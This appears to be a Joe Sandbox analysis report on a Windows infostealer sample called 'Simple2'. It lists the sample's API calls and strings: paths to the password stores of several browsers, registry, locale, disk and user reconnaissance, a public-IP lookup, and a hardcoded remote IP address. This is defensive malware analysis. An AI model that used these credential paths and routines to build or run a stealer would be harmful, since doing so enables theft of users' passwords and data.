API ID: _invalid_parameter_noinfo_noreturn$D@std@@@std@@U?$char_traits@$memset$??1?$basic_ios@??1?$basic_iostream@$??6?$basic_ostream@Infomemcpy$AdaptersInformationOpenV01@ValueWindowmalloc$CloseConcurrency::cancel_current_taskConsoleFileGlobalJoinMemoryModuleNameShowStatusSystemTimeV01@_Xlength_error@std@@Zonefree
String ID: ADAPTERS INFO:$CPU INFO:$DISK INFO:$DOMAIN AND TZ INFO:$LOCALE INFO:$PROCESSES RUNNING:$RAM INFO:$USERS INFO:$ IP: $ MB$185.237.165.97$@$Adapter: $Domain: $Executable Path: $IP Address: $MACHINE INFO:$Number of Cores: $Processor Architecture: $Time Zone: $Total Physical Memory:
API String ID: 1449153876-4066422610
Opcode ID: 9efb709899f569bd117ccf221bef8b43f8760c8e4a6dedd705c6b581c116ab68
Instruction ID: b316c69c939bc3e83bfaac6593fbdd469bd26924b3de283211584c145af7a60a
Opcode Fuzzy Hash: 9efb709899f569bd117ccf221bef8b43f8760c8e4a6dedd705c6b581c116ab68
Instruction Fuzzy Hash: 5F82A163B08A8695EB10DB64D444AED2B70FB44BD8F40423BDE6D86ED9EE6CD995C300

Function 00007FF6D5CA4CB0 Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D5CA4CEE
GetEnvironmentVariableW.KERNEL32 ref: 00007FF6D5CA4D1C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D5CA4D35
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA4DA0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA4E2B

Strings

\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data, xrefs: 00007FF6D5CA4E7A
\times.json, xrefs: 00007FF6D5CA50BA, 00007FF6D5CA50DC
USERPROFILE, xrefs: 00007FF6D5CA4D15
\AppData\Local\Chromium\User Data\Default\Login Data, xrefs: 00007FF6D5CA4E92
\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF6D5CA4F13
\AppData\Roaming\Opera Software\Opera Stable\Login Data, xrefs: 00007FF6D5CA4EDD
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF6D5CA4E62
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 00007FF6D5CA4F59, 00007FF6D5CA5058
\logins.json, xrefs: 00007FF6D5CA4FBB, 00007FF6D5CA4FDD
\AppData\Roaming\Mozilla\Firefox\Profiles, xrefs: 00007FF6D5CA4D3B, 00007FF6D5CA4DC0
default, xrefs: 00007FF6D5CA4AE6
release, xrefs: 00007FF6D5CA4A36, 00007FF6D5CA4B66
\AppData\Roaming\Opera Software\Opera GX Stable\Login Data, xrefs: 00007FF6D5CA4EF8
\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 00007FF6D5CA4EC2
\AppData\Local\Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF6D5CA4EAA

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentVariablefreemalloc
String ID: USERPROFILE$\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data$\AppData\Local\Chromium\User Data\Default\Login Data$\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data$\AppData\Local\Google\Chrome\User Data\Default\Login Data$\AppData\Local\Microsoft\Edge\User Data\Default\Login Data$\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data$\AppData\Roaming\Mozilla\Firefox\Profiles$\AppData\Roaming\Mozilla\Firefox\Profiles\$\AppData\Roaming\Opera Software\Opera GX Stable\Login Data$\AppData\Roaming\Opera Software\Opera Stable\Login Data$\logins.json$\times.json$default$release
API String ID: 716798019-3135576060
Opcode ID: 38e710fdf7d203c3d4c2780963b03db702098f7aa73b3f78d3aa78e78f218211
Instruction ID: 65f4b4ef44e2bb6f32be530643b1a50ad024e66cf1fabf90698f9077be257893
Opcode Fuzzy Hash: 38e710fdf7d203c3d4c2780963b03db702098f7aa73b3f78d3aa78e78f218211
Instruction Fuzzy Hash: F832AD73A14BC695EB208F64E8447EC2771FB84B98F405237DA5C96E99EF78DA90C340

Function 00007FF6D5CA41F0 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 185
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?), ref: 00007FF6D5CA423F
memset.VCRUNTIME140(?), ref: 00007FF6D5CA4253
memset.VCRUNTIME140(?), ref: 00007FF6D5CA4267
memset.VCRUNTIME140(?), ref: 00007FF6D5CA427B
memset.VCRUNTIME140(?), ref: 00007FF6D5CA428D

Part of subcall function 00007FF6D5CA6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA63CA
Part of subcall function 00007FF6D5CA6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6D5CA63E6
Part of subcall function 00007FF6D5CA6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA6418

RegOpenKeyExA.KERNELBASE(?), ref: 00007FF6D5CA42BE
RegGetValueA.KERNELBASE ref: 00007FF6D5CA42F2
RegCloseKey.KERNELBASE ref: 00007FF6D5CA432D
RegOpenKeyExA.KERNELBASE ref: 00007FF6D5CA435C
RegGetValueA.KERNELBASE ref: 00007FF6D5CA4395
RegCloseKey.ADVAPI32 ref: 00007FF6D5CA43D3
RegOpenKeyExA.KERNELBASE ref: 00007FF6D5CA4402
RegGetValueA.KERNELBASE ref: 00007FF6D5CA443F
RegGetValueA.KERNELBASE ref: 00007FF6D5CA44A7
RegCloseKey.KERNELBASE ref: 00007FF6D5CA44E5
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA4539
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA4543

Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9559
Part of subcall function 00007FF6D5CA94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9579
Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9589
Part of subcall function 00007FF6D5CA94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9664
Part of subcall function 00007FF6D5CA94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA966B
Part of subcall function 00007FF6D5CA94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9678

Part of subcall function 00007FF6D5CA94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA95D6

Part of subcall function 00007FF6D5CA94E0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA95FD
Part of subcall function 00007FF6D5CA94E0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA961E

Strings

DisplayVersion, xrefs: 00007FF6D5CA4499
Processor name: , xrefs: 00007FF6D5CA439F
OS name: , xrefs: 00007FF6D5CA4449
ProductName, xrefs: 00007FF6D5CA4431
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF6D5CA43F4
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF6D5CA42B0
BaseBoardProduct, xrefs: 00007FF6D5CA42E4
OS display version: , xrefs: 00007FF6D5CA44B1
ProcessorNameString, xrefs: 00007FF6D5CA4387
Machine name: , xrefs: 00007FF6D5CA42FC
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00007FF6D5CA434E

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memset$Value$CloseOpenU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@Osfx@?$basic_ostream@_V12@V?$basic_streambuf@
String ID: BaseBoardProduct$DisplayVersion$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Machine name: $OS display version: $OS name: $Processor name: $ProcessorNameString$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 20268565-1502927450
Opcode ID: e8a849ff1cf450a5639899f728c5979a0428117e68cf5c9bfb62e6c39eaeade9
Instruction ID: 6d1b289db486559f4d1ad44194d48f6e6d8d05ef3e1913976241207885e123f7
Opcode Fuzzy Hash: e8a849ff1cf450a5639899f728c5979a0428117e68cf5c9bfb62e6c39eaeade9
Instruction Fuzzy Hash: 93914272618A4195E720DB25E8409EE6BB4FF84BC8F80413AEE4D83E69EF7CD915C740

Function 00007FF6D5CA4570 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D5CA9BB0: memcpy.VCRUNTIME140 ref: 00007FF6D5CA9BE8

WinHttpOpen.WINHTTP ref: 00007FF6D5CA45E4
WinHttpConnect.WINHTTP ref: 00007FF6D5CA4607
WinHttpOpenRequest.WINHTTP ref: 00007FF6D5CA463C
WinHttpSendRequest.WINHTTP ref: 00007FF6D5CA4668
WinHttpReceiveResponse.WINHTTP ref: 00007FF6D5CA467B
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF6D5CA4696
memset.VCRUNTIME140 ref: 00007FF6D5CA46C0
WinHttpReadData.WINHTTP ref: 00007FF6D5CA46DA

Part of subcall function 00007FF6D5CA9BB0: memcpy.VCRUNTIME140 ref: 00007FF6D5CA9C89

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA4799
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA47B0
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA47B9
WinHttpCloseHandle.WINHTTP ref: 00007FF6D5CA47C2

Strings

api.ipify.org, xrefs: 00007FF6D5CA45FD
WinHTTP/1.0, xrefs: 00007FF6D5CA45DD
Unable to get IP, xrefs: 00007FF6D5CA45BC
GET, xrefs: 00007FF6D5CA4632

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequestmemcpy$AvailableConnectQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturnmemset
String ID: GET$Unable to get IP$WinHTTP/1.0$api.ipify.org
API String ID: 849217320-4095685055
Opcode ID: e91b885b83f34028d8787c1fb970299661bbbdd800244b3ca7939f8713100669
Instruction ID: ce1c8ac4375d5660faa91445c4ab81adb43081d1c742567d7b4972235b877b5f
Opcode Fuzzy Hash: e91b885b83f34028d8787c1fb970299661bbbdd800244b3ca7939f8713100669
Instruction Fuzzy Hash: 6A616163A1878582EA10DB25E444A6E6BB1FB85FC4F54413AEE4D87F55DF3CE891CB00

Function 00007FF6D5CA3E70 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE ref: 00007FF6D5CA3EC2
GetLocaleInfoA.KERNEL32 ref: 00007FF6D5CA3F3C

Part of subcall function 00007FF6D5CA9BB0: memcpy.VCRUNTIME140 ref: 00007FF6D5CA9BE8

memset.VCRUNTIME140 ref: 00007FF6D5CA400F
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA4024
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6D5CA4043
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA4077
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA413C
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA4146
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA4181
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA41E0

Strings

Country: , xrefs: 00007FF6D5CA40C3
Language: , xrefs: 00007FF6D5CA4094
Failed to get locale, xrefs: 00007FF6D5CA3EDE, 00007FF6D5CA3F5C

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$InfoLocale_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@D@std@@@1@_V?$basic_streambuf@memcpymemset
String ID: Country: $Failed to get locale$Language:
API String ID: 3095796567-568146128
Opcode ID: 7b8699f20ba1a77a752b81bb2fa3e8e4d266356fc970537a48dc4bdea17b58fc
Instruction ID: 3ad39c3e13313226eff8e631b542402b66a2d09e67f1069d0b3e742faafa1bd6
Opcode Fuzzy Hash: 7b8699f20ba1a77a752b81bb2fa3e8e4d266356fc970537a48dc4bdea17b58fc
Instruction Fuzzy Hash: BDA18273A18B8582EB10CB24E4446AD6B71FB85BD4F504236EB9D83EA8DF7CD955C700

Function 00007FF6D5CA37A0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 00007FF6D5CA37DF
memset.VCRUNTIME140 ref: 00007FF6D5CA37F3

Part of subcall function 00007FF6D5CA6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA63CA
Part of subcall function 00007FF6D5CA6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6D5CA63E6
Part of subcall function 00007FF6D5CA6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA6418

Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9559
Part of subcall function 00007FF6D5CA94E0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9579
Part of subcall function 00007FF6D5CA94E0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9589
Part of subcall function 00007FF6D5CA94E0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9664
Part of subcall function 00007FF6D5CA94E0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA966B
Part of subcall function 00007FF6D5CA94E0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF6D5CA1970), ref: 00007FF6D5CA9678

GetDiskFreeSpaceExA.KERNELBASE ref: 00007FF6D5CA3912
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF6D5CA3947
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA39E9
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA39F3

Part of subcall function 00007FF6D5CA9260: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF6D5CA1C3D), ref: 00007FF6D5CA92A6

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3A28
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3A2F

Strings

Available Drives: , xrefs: 00007FF6D5CA3802
GB, xrefs: 00007FF6D5CA3950

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@D@std@@@1@@DiskDrivesFreeLogicalOsfx@?$basic_ostream@_SpaceV01@_V12@V?$basic_streambuf@memcpymemset
String ID: GB$Available Drives:
API String ID: 2435906160-4081138596
Opcode ID: 4ae56c1bc88ebe4856315a79d37489f665b304091b02ec855f2b4ed4f166cade
Instruction ID: e9a8cdefcca711e690dcd81eaf8bb154ad97b88fd75654346cf61381f0d81d8d
Opcode Fuzzy Hash: 4ae56c1bc88ebe4856315a79d37489f665b304091b02ec855f2b4ed4f166cade
Instruction Fuzzy Hash: 5161E833A18A8181EB10CB65E4447AD6B70FB84BD8F40523AEE4D83EA9DF7CD895C740

Function 00007FF6D5CA3A40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF6D5CA3A8E

Part of subcall function 00007FF6D5CA6390: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA63CA
Part of subcall function 00007FF6D5CA6390: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF6D5CA63E6
Part of subcall function 00007FF6D5CA6390: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA6418

NetUserEnum.NETAPI32 ref: 00007FF6D5CA3ACB
NetApiBufferFree.NETAPI32 ref: 00007FF6D5CA3BAC
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA3BF4
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA3BFE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA3C2B

Strings

User: , xrefs: 00007FF6D5CA3B1B

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BufferD@std@@@1@@EnumFreeUserV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: User:
API String ID: 429987867-381282118
Opcode ID: 352a133ca664224817b8823e1ddec43fd689b4b5471dc362aa43fd6da9ad8630
Instruction ID: 9e3dd3e268ef7e8811dcccc74055c88fc37c9653b07f5e97561c3fda18b66dc8
Opcode Fuzzy Hash: 352a133ca664224817b8823e1ddec43fd689b4b5471dc362aa43fd6da9ad8630
Instruction Fuzzy Hash: B0515933A08A4186EB10DF65E4906AD7BB1FB84BD4F40413ADE5D83AA9EF38D855CB00

Function 00007FF6D5CA1790 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF6D5CA17DB
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA1843
?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ.MSVCP140 ref: 00007FF6D5CA1886
?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z.MSVCP140 ref: 00007FF6D5CA189D
memset.VCRUNTIME140 ref: 00007FF6D5CA191F

Part of subcall function 00007FF6D5CAB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6D5CA1079), ref: 00007FF6D5CAB1A2

?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z.MSVCP140 ref: 00007FF6D5CA1943
??7ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6D5CA1953
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6D5CA197A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D5CA19B4
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA1A01
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA1A0B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6D5CA1A3E
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6D5CA1A9C

Strings

Couldn't open the file, xrefs: 00007FF6D5CA1826
Couldn't read the file, xrefs: 00007FF6D5CA195D

Memory Dump Source

Source File: 00000000.00000002.2360525446.00007FF6D5CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D5CA0000, based on PE: true

Associated: 00000000.00000002.2360505710.00007FF6D5CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360578068.00007FF6D5CAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360595538.00007FF6D5CB4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360616047.00007FF6D5CB5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d5ca0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??1?$basic_istream@??6?$basic_ostream@V01@@memset$??1?$basic_ios@??7ios_base@std@@?read@?$basic_istream@?seekg@?$basic_istream@?tellg@?$basic_istream@Concurrency::cancel_current_taskMbstatet@@@2@V12@V12@_V?$fpos@_invalid_parameter_noinfo_noreturnmalloc
String ID: Couldn't open the file$Couldn't read the file
API String ID: 2898521299-2967168750
Opcode ID: 7e0b5535d5d5b79e204e29fb3b031bc8c20a279b71be13ee0e17ed03b92716b9
Instruction ID: d3a8ba336fd001c5878e27c35c940bd68c854187c4230b3ec9e593d7fac67905
Opcode Fuzzy Hash: 7e0b5535d5d5b79e204e29fb3b031bc8c20a279b71be13ee0e17ed03b92716b9
Instruction Fuzzy Hash: 6C915E33A08B4581EB10CB25E844AAD7BB1FB84FD4F54823ADE5D83AA5DF38D965C700

Function 00007FF6D5CA1520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA157D
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF6D5CA159C
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF6D5CA15D0
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF6D5CA1607
isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6D5CA1639
?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF6D5CA165E
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF6D5CA168C
